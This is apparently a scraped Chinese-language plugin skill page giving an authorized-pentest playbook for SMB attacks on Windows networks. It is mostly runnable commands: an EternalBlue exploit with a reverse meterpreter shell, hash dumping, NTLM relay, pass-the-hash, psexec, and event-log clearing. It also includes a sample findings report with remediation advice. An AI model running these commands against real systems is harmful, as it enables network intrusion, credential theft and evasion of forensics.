Uses Metasploit to enumerate, scan, and exploit SMB vulnerabilities like EternalBlue and relay attacks in authorized pentests on Windows networks.
npx claudepluginhub killvxk/cybersecurity-skills-zhThis skill uses the workspace's default tool permissions.
- 在授权渗透测试中,测试 Windows 系统是否存在严重 SMB 漏洞(EternalBlue、EternalRomance、PrintNightmare)
Identifies and exploits SMB vulnerabilities using Metasploit during authorized pentests, targeting unpatched Windows systems, misconfigured shares, and weak authentication in networks.
Identifies and exploits SMB vulnerabilities like EternalBlue and PrintNightmare using Metasploit during authorized pentests on Windows systems and networks.
Executes internal network penetration tests from a compromised host, enumerating services, Active Directory, and capturing credentials to map lateral movement and privilege escalation paths.
Share bugs, ideas, or general feedback.
禁止在以下情况使用:未获明确书面授权的系统、无维护窗口期的生产域控制器,或在评估范围之外部署持久后门。
msfconsole --version)# 使用 Nmap 发现开放 SMB 的主机
nmap -sS -p 445,139 --open -oA smb_hosts 10.10.0.0/24
# 枚举 SMB 版本和操作系统信息
nmap -sV -p 445 --script smb-os-discovery,smb-protocols -oA smb_enum 10.10.0.0/24
# 使用 CrackMapExec 进行快速 SMB 枚举
crackmapexec smb 10.10.0.0/24 --gen-relay-list smb_nosigning.txt
# 检查 SMB 签名状态(禁用 = 易受中继攻击)
crackmapexec smb 10.10.0.0/24 --smb-signing
# 使用空会话枚举共享
crackmapexec smb 10.10.0.0/24 -u '' -p '' --shares
# 启动 Metasploit 并扫描 MS17-010(EternalBlue)
msfconsole -q
msf6> use auxiliary/scanner/smb/smb_ms17_010
msf6 auxiliary(smb_ms17_010)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(smb_ms17_010)> set THREADS 10
msf6 auxiliary(smb_ms17_010)> run
# 扫描 MS08-067(Conficker 漏洞)
msf6> use auxiliary/scanner/smb/ms08_067_check
msf6 auxiliary(ms08_067_check)> set RHOSTS file:smb_hosts.txt
msf6 auxiliary(ms08_067_check)> run
# 检查 SMBGhost(CVE-2020-0796)
nmap -p 445 --script smb-vuln-cve-2020-0796 10.10.0.0/24
# 检查 PrintNightmare(CVE-2021-34527)
crackmapexec smb 10.10.0.0/24 -u testuser -p 'TestPass123' -M printnightmare
msf6> use exploit/windows/smb/ms17_010_eternalblue
msf6 exploit(ms17_010_eternalblue)> set RHOSTS 10.10.5.23
msf6 exploit(ms17_010_eternalblue)> set LHOST 10.10.1.99
msf6 exploit(ms17_010_eternalblue)> set LPORT 4444
msf6 exploit(ms17_010_eternalblue)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(ms17_010_eternalblue)> set MaxExploitAttempts 3
msf6 exploit(ms17_010_eternalblue)> exploit
# 后渗透——验证访问级别
meterpreter> getuid
# Server username: NT AUTHORITY\SYSTEM
meterpreter> sysinfo
meterpreter> ipconfig
meterpreter> hashdump
# 识别没有 SMB 签名的主机(来自步骤 1)
# 使用 Impacket 设置 NTLM 中继
sudo impacket-ntlmrelayx -tf smb_nosigning.txt -smb2support -i
# 从被攻陷主机或通过网络钓鱼触发身份验证
# 从被攻陷主机上的 Meterpreter 会话:
meterpreter> shell
C:\> net use \\10.10.1.99\share /user:DOMAIN\admin password
# 或使用 Metasploit 的 SMB 中继模块
msf6> use exploit/windows/smb/smb_relay
msf6 exploit(smb_relay)> set SMBHOST 10.10.5.30
msf6 exploit(smb_relay)> set LHOST 10.10.1.99
msf6 exploit(smb_relay)> exploit
# 使用 responder 捕获 NTLM 哈希用于离线破解
sudo responder -I eth0 -wrfv
# 从被攻陷系统中提取哈希
meterpreter> hashdump
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42:::
# 使用 CrackMapExec 进行哈希传递
crackmapexec smb 10.10.0.0/24 -u Administrator \
-H e19ccf75ee54e06b06a5907af13cef42 --shares
# 通过哈希传递执行命令
crackmapexec smb 10.10.5.30 -u Administrator \
-H e19ccf75ee54e06b06a5907af13cef42 -x "whoami && hostname"
# 使用 Impacket psexec 获取交互式 shell
impacket-psexec Administrator@10.10.5.30 \
-hashes aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
# 使用 Metasploit psexec 模块
msf6> use exploit/windows/smb/psexec
msf6 exploit(psexec)> set RHOSTS 10.10.5.30
msf6 exploit(psexec)> set SMBUser Administrator
msf6 exploit(psexec)> set SMBPass aad3b435b51404eeaad3b435b51404ee:e19ccf75ee54e06b06a5907af13cef42
msf6 exploit(psexec)> set PAYLOAD windows/x64/meterpreter/reverse_tcp
msf6 exploit(psexec)> set LHOST 10.10.1.99
msf6 exploit(psexec)> exploit
# 记录所有被攻陷的系统和访问级别
# 在 Meterpreter 中截取桌面截图作为证据
meterpreter> screenshot
# 列出可访问的共享和敏感数据
meterpreter> shell
C:\> net share
C:\> dir \\10.10.5.30\C$\Users\ /s /b
# 清理——删除所有痕迹
meterpreter> clearev
meterpreter> shell
C:\> del /f C:\Windows\Temp\payload.exe
# 关闭所有会话
msf6> sessions -K
# 验证清理
crackmapexec smb 10.10.5.23 -u Administrator -H <hash> -x "dir C:\Windows\Temp\payload*"
| 术语 | 定义 |
|---|---|
| EternalBlue(MS17-010) | SMBv1 中的严重漏洞,允许无需身份验证即可以 SYSTEM 权限远程执行代码,最初由 NSA 开发,后被 Shadow Brokers 泄露 |
| SMB 签名 | SMB 数据包的加密签名,用于防止篡改和中继攻击;禁用时,攻击者可将 NTLM 身份验证中继到其他 SMB 主机 |
| 哈希传递(pass-the-hash) | 直接使用捕获的 NTLM 密码哈希而非明文密码进行身份验证的技术,绕过了破解哈希的需要 |
| NTLM 中继 | 将捕获的 NTLM 身份验证实时转发到不同服务器的攻击,使攻击者以被中继用户的身份获得访问权限 |
| PsExec | 将服务二进制文件上传到 ADMIN$ 共享并创建 Windows 服务以 SYSTEM 身份执行命令的远程执行技术 |
| 空会话(null session) | 匿名 SMB 连接(空用户名和密码),可能在配置错误的系统上暴露共享列表、用户枚举和策略信息 |
背景:在为一家金融服务公司进行的内部渗透测试中,测试人员可以访问企业 VLAN(10.10.0.0/16)。测试范围包括对所有 Windows 服务器和工作站测试 SMB 相关漏洞。Active Directory 域为 CORP.EXAMPLE.COM,约有 200 台主机。
方法:
注意事项:
## SMB 漏洞评估报告
**参与项目**:内部渗透测试
**目标范围**:10.10.0.0/16(CORP.EXAMPLE.COM)
**发现的 SMB 主机**:187
### 严重发现
**发现 1:MS17-010(EternalBlue)- 12 台未打补丁主机**
- 严重性:严重(CVSS 9.8)
- 受影响:10.10.5.23、10.10.5.24、10.10.8.10(另 9 台)
- 影响:无需身份验证即可以 SYSTEM 身份远程执行代码
- 已利用:是——在 10.10.5.23 上获得了 SYSTEM 权限
- 修复建议:应用 MS17-010 补丁,禁用 SMBv1
**发现 2:SMB 签名已禁用 - 155/187 台主机**
- 严重性:高(CVSS 7.5)
- 影响:NTLM 中继攻击允许凭据转发
- 已利用:是——中继了域管理员凭据
- 修复建议:通过组策略启用 SMB 签名
**发现 3:本地管理员密码复用 - 47 台主机**
- 严重性:高(CVSS 7.2)
- 影响:攻陷一台主机可横向移动到 47 个系统
- 修复建议:部署 LAPS(本地管理员密码解决方案)